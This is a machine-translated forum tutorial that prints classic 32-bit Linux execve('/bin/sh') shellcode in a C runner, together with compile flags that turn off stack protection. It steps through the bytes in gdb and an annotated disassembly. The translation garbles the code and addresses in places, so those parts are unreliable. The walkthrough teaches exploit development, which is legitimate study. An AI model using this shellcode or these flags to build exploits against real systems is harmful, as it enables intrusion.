Author: moonflow
For a hundred-year-old Singles Day, I have to write a detailed and complete article. Beginner, chewen, old bird please float
Simple shellcode
1. shellcode. c
Code:
# Include <stdio. h>
Static char shellcode [] =
"\ Xeb \ x17 \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b \ x89"
"\ Xf3 \ x8d \ x4e \ x08 \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xe4 \ xff \ x2f \ x62 \ x69 \ x6e"
"\ X2f \ x73 \ x68 \ x58 ";
Int main (){
(* (Void (*) () shellcode )();
Return 0;
}
Gcc-fno-stack-protector-z execstack-g-o shell. c // remember to add-fno-stack-protector-z execstack
2. Dynamic shellcode debugging
Remember to add-fno-stack-protector-z execstack when compiling.
Gdb dynamically debugs shellcode (see this document for clarity .)
Code:
[Root @ localhost ceshi] # gdb shellcode
GNU gdb Fedora (6.8-27. el5)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3 +: gnu gpl version 3 or later
This is free software: you are free to change and redistribute it.
There is no warranty, to the extent permitted by law. Type "show copying"
And "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu "...
(Gdb) l
1 # include <stdio. h>
2
3 static char shellcode [] =
4 "\ xeb \ x17 \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b \ x89"
5 "\ xf3 \ x8d \ x4e \ x08 \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xe4 \ xff \ x2f \ x62 \ x69 \ x6e"
6 "\ x2f \ x73 \ x68 \ x58 ";
7
8 int main (){
9 (* (void (*) () shellcode )();
10 return 0;
(Gdb)
Add the breakpoint to the shellcode section and use the Assembly Method for debugging, that is, display/I $ pc
Code:
(Gdb) B 9
Breakpoint 1 at 0x8048365: file shellcode. c, line 9.
(Gdb) display/I $ pc
(Gdb) run
Starting program:/root/ceshi/shellcode
Breakpoint 1, main () at shellcode. c: 9
9 (* (void (*) () shellcode )();
1: x/I $ pc
0x8048365 <main + 17>: mov $0x8049580, % eax
(Gdb)
Debug si in one step. Use x/8xb 134518174 to observe the strings in esi. We can find that the ascii code is/bin/sh, but at the end of the string is 58.
Code:
0x08049582 in shellcode ()
1: x/I $ pc
0x8049582 <shellcode + 2>: pop % esi
(Gdb)
0x08049583 in shellcode ()
1: x/I $ pc
Zero x 8049583 <shellcode + 3>: mov % esi, 0x8 (% esi)
(Gdb) I r esi
Esi 0x804959e 134518174
(Gdb) x/8xb 134518174
0x804959e <shellcode + 30>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x58
(Gdb)
Continue to the single step. After tracking mov % al, 0x7 (% esi), we will find that 58 at the end is 00, this is the complete "/bin/sh.
Code:
0x8049586 <shellcode + 6>: xor % eax, % eax
(Gdb)
0x08049588 in shellcode ()
1: x/I $ pc
0x8049588 <shellcode + 8>: mov % al, 0x7 (% esi)
(Gdb)
0x0804958b in shellcode ()
1: x/I $ pc
0x804958b <shellcode + 11>: mov % eax, 0xc (% esi)
(Gdb) I r esi
Esi 0x804959e 134518174
(Gdb) x/8xb 134518174
0x804959e <shellcode + 30>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
Continue to si, we will find mov $ 0xb, % al, assign 0xb (11) to eax, which is the index number of execve () in the system. Then call 80 to interrupt
Code:
(Gdb) si
0x0804958e in shellcode ()
1: x/I $ pc
0x804958e <shellcode + 14>: mov $ 0xb, % al
(Gdb)
0x08049590 in shellcode ()
1: x/I $ pc
0x8049590 <shellcode + 16>: mov % esi, % ebx
(Gdb)
0x08049592 in shellcode ()
1: x/I $ pc
0x8049592 <shellcode + 18>: lea 0x8 (% esi), % ecx
(Gdb)
0x08049595 in shellcode ()
1: x/I $ pc
0x8049595 <shellcode + 21>: xor % edx, % edx
(Gdb)
0x08049597 in shellcode ()
1: x/I $ pc
0x8049597 <shellcode + 23>: int $0x80
Through this simple tracking, you can understand the usefulness of this simple shellcode. Opens a shell window.
3. detailed compilation explanation
Nasm is used for compilation, that is, ndisasm-u. The intel-style compilation is used, and the effects are the same. A detailed comment is added.
Code:
Echo-ne
"\ Xeb \ x17 \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b \ x89 \ xf3 \ x8d \ x4e \ x08 \ x31 \ xd2 \ xcd \ x80
\ Xe8 \ xe4 \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x58 "| ndisasm-u-
Code:
00000000 EB17 jmp short 0x19 // note that 17 + 2 is equal to 19. This is a relative offset, which redirects to call dword 0x2.
00000002 5E pop esi // pop up to the esi register, that is, the return address after call dword 0x2 is 0000001E, that is, the/bin/sh
00000003 897608 mov [esi + 0x8], esi
00000006 31C0 xor eax, eax
00000008 884607 mov [esi + 0x7], al // make 58 00, which is the complete string "/bin/sh"
0000000B 89460C mov [esi + 0xc], eax
0000000E B00B mov al, 0xb // assign 0xb (11) to eax, which is the index number of execve () in the system.
00000010 89F3 mov ebx, esi // assign an esi string
00000012 8D4E08 lea ecx, [esi + 0x8]
00000015 31D2 xor edx, edx
00000017 CD80 int 0x80
00000019 E8E4FFFFFF call dword 0x2 // jump to pop esi for execution here, but the return address will be pushed in the call, that is, 0000001E
0000001E 2F das
10000001f 62696E bound ebp, [ecx + 0x6e]
00000022 2F das
00000023 7368 jnc 0x8d
00000025 58 pop eax
Starting from 2F at the end, 2F 62 69 6E 2F 73 68 corresponds to/B I n/sh. There should be a 00 at the end, but there is 58, not 00 at the end, how can this problem be solved? The shellcode cannot be directly set to 0x00. Through dynamic debugging, it can be found that mov [esi + 0x7] is used here, and the al command is set to 00 for 58. In this way,/bin/sh is complete.
The analysis is over and shellcode is analyzed for the first time.
Study hard and study every day.